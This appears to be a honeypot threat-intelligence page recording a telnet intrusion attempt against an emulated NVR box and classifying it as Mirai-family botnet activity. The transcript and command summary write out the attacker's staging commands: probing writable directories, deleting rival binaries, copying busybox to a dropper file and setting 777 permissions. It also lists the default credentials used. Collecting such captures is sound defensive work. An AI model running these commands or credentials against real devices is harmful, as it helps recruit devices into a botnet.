HoneyMire Hub

Attack #291997 telnet

Captured 2026-06-29 19:21:05Z by Ka on honeypot LU2 - SERVERS ⬜ docker-edge · firmware 0.1.0.

Session recording

Transcript

Server output and attacker input as captured, line-grain. Malware URLs are obscured until sign-in.

Welcome to HiLinux (NVR Box)

hilinux-nvrbox# sh
hilinux-nvrbox# >/tmp/.ptmx && cd /tmp/
hilinux-nvrbox# >/var/tmp/.ptmx && cd /var/tmp/
hilinux-nvrbox# >/var/run/.ptmx && cd /var/run/
hilinux-nvrbox# >/dev/shm/.ptmx && cd /dev/shm/
hilinux-nvrbox# >/run/.ptmx && cd /run/
hilinux-nvrbox# >/jffs/.ptmx && cd /jffs/
hilinux-nvrbox# >/jffs2/.ptmx && cd /jffs2/
hilinux-nvrbox# >/mnt/jffs2/.ptmx && cd /mnt/jffs2/
hilinux-nvrbox# >/overlay/.ptmx && cd /overlay/
hilinux-nvrbox# >/nvram/.ptmx && cd /nvram/
hilinux-nvrbox# >/var/.ptmx && cd /var/
hilinux-nvrbox# >/mnt/.ptmx && cd /mnt/
hilinux-nvrbox# >/mnt/mtd/.ptmx && cd /mnt/mtd/
hilinux-nvrbox# /bin/busybox rm -rf dvrHelper tbot
hilinux-nvrbox# /bin/busybox cp /bin/busybox dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck
HolyFuck: applet not found
hilinux-nvrbox# /bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox
cat: /bin/busybox: No such file or directory
-sh: while: not found
-sh: do: not found
-sh: done: not found
hilinux-nvrbox# /bin/busybox HolyFuck
HolyFuck: applet not found
hilinux-nvrbox# 

Credentials

Username: system

Password: shell

3 login attempt(s) before disconnect.

Geolocation hub-resolved

🇳🇱The Netherlands · North Holland · Amsterdam

DigitalOcean, LLC · AS14061 DigitalOcean, LLC · 52.35,4.94

Network: cdn · DigitalOcean · Content · peeringdb · medium confidence

Behavioral classification

🦠 80% confidence

Mirai-family IoT botnet — wget + chmod + exec; tries common router/IP-cam credentials.

Matched signals:

• chmod/exec chain
• BusyBox probing

Command summary

sh
>/tmp/.ptmx && cd /tmp/
>/var/tmp/.ptmx && cd /var/tmp/
>/var/run/.ptmx && cd /var/run/
>/dev/shm/.ptmx && cd /dev/shm/
>/run/.ptmx && cd /run/
>/jffs/.ptmx && cd /jffs/
>/jffs2/.ptmx && cd /jffs2/
>/mnt/jffs2/.ptmx && cd /mnt/jffs2/
>/overlay/.ptmx && cd /overlay/
>/nvram/.ptmx && cd /nvram/
>/var/.ptmx && cd /var/
>/mnt/.ptmx && cd /mnt/
>/mnt/mtd/.ptmx && cd /mnt/mtd/
/bin/busybox rm -rf dvrHelper tbot
/bin/busybox cp /bin/busybox dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck
/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox
/bin/busybox HolyFuck

Reported to threat intel

none